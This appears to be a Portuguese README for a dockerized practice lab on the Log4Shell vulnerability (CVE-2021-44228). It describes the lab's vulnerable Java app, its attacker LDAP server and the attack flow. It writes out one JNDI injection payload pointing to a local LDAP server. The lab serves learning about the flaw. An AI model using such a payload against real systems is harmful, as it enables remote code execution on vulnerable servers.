CVE-2021-44228 (Log4Shell) Ambiente de Laboratório de Vulnerabilidade

Introdução

Este projeto fornece um ambiente dockerizado para praticar com segurança e entender a vulnerabilidade crítica do Log4j conhecida como CVE-2021-44228 (Log4Shell).

Principais Recursos

• Ambiente de teste dockerizado e seguro
• Capacidade de teste de payload personalizado
• Inclui o servidor LDAP do atacante e uma aplicação Java vulnerável

Começando

docker compose up --build

Teste de Payload

1. Você pode modificar o payload na seção de teste de /vulnerable/Makefile
2. O payload padrão usa $${jndi:ldap://127.0.0.1:10000/}

Como Funciona

1. A aplicação Java vulnerável é iniciada
2. O servidor LDAP do atacante escuta na porta 10000
3. A aplicação vulnerável executa
4. O payload Log4Shell é registrado nos logs da aplicação vulnerável por meio da seção de teste do Makefile
5. A aplicação vulnerável tenta uma consulta JNDI LDAP
6. O servidor LDAP retorna uma classe Java maliciosa
7. A aplicação vulnerável carrega e executa essa classe